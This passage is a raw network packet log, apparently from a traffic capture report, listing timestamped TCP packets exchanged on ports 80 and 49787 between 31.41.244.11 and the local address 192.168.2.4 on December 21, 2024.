                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.088270903 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.088373899 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.088377953 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.088537931 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.089200020 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.089255095 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.089322090 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.089363098 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.090147018 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.090203047 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.090276003 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.090459108 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.091065884 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.091121912 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.091188908 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.091233969 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.092005014 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.092070103 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.092134953 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.092178106 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.092948914 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.093000889 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.093065977 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.093135118 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.094034910 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.094084978 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.094150066 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.094278097 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.094913960 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.095015049 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.095066071 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.095799923 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.095843077 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.095887899 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.095993042 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.096813917 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.096868992 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.096916914 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.096973896 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.097687006 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.097733974 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.097815990 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.097857952 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.098714113 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.098752975 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.098815918 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.098860025 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.099844933 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.099898100 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.099932909 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.099956989 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.100543022 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.100667000 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.100697041 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.100821972 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.101531029 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.101577997 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.101659060 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.101901054 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.102443933 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.102538109 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.102588892 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.103363037 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.103413105 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.103487015 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.103535891 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.104317904 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.104361057 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.104425907 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.104481936 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.105266094 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.105312109 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.105376005 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.105422974 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.106215954 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.106271982 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.106328964 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.106376886 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.107606888 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.107656956 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.107790947 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.107841015 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.108433008 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.108480930 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.108525038 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.108576059 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.109093904 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.109150887 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.109215021 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.109253883 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.110002995 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.110054016 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.110112906 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.110162973 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.110938072 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.110985994 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.111052036 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.111100912 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.111902952 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.111960888 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.112025976 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.112138033 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.112839937 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.112895012 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.112952948 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.113012075 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.113771915 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.113909006 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.113957882 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.114717960 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.114764929 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.114845991 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.115000010 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.115669012 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.115739107 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.115803957 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.115844965 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.116601944 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.116744041 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.116759062 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.116805077 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.117681980 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.117773056 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.117821932 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.118500948 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.118551016 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.118635893 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.118680954 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.119518042 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.119564056 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.119648933 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.119693995 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.120430946 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.120491028 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.120558977 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.120601892 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.121383905 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.121457100 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.121540070 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.121648073 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.122445107 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.122493982 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.122549057 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.122617960 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.123260021 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.123316050 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.123332977 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.123378038 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.124257088 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.124301910 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.124352932 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.124408007 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.125144958 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.125202894 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.125281096 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.125386953 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.126060963 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.126112938 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.126190901 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.126250982 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.127018929 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.127072096 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.127136946 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.127257109 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.127974987 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.128017902 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.128093004 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.128140926 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.129029036 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.129158020 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.129203081 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.130131006 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.130179882 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.130269051 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.130319118 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.131107092 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.131161928 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.131251097 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.131304026 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.131995916 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.132045984 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.132111073 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.132160902 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.132771969 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.132817030 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.132827997 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.132868052 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.276405096 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.276453018 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.276464939 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.276495934 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.276618004 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.276669025 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.276999950 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.277075052 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.277580023 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.277621984 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.277760029 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.277820110 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.278512001 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.278564930 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.278584003 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.278625011 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.279465914 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.279519081 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.279603958 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.279675007 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.280412912 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.280469894 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.280592918 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.280637980 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.281363964 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.281416893 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.281419992 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.281461954 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.282443047 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.282495022 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.282574892 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.282665968 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.283248901 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.283303976 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.283487082 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.283538103 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.284220934 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.284265041 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.284435987 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.284526110 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.285176039 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.285291910 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.285319090 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.285358906 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.286068916 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.286112070 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.286159039 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.286204100 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.287075043 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.287111998 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.287117004 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.287152052 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.288144112 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.288188934 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.288566113 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.288655996 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.288913965 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.288950920 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.289081097 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.289120913 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.289876938 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.289942980 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.290009022 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.290069103 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.290817022 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.290859938 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.290941954 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.290981054 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.291847944 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.291893005 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.291968107 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.292234898 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.292715073 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.292828083 CET804978731.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.292865992 CET4978780192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:24.293703079 CET804978731.41.244.11192.168.2.4
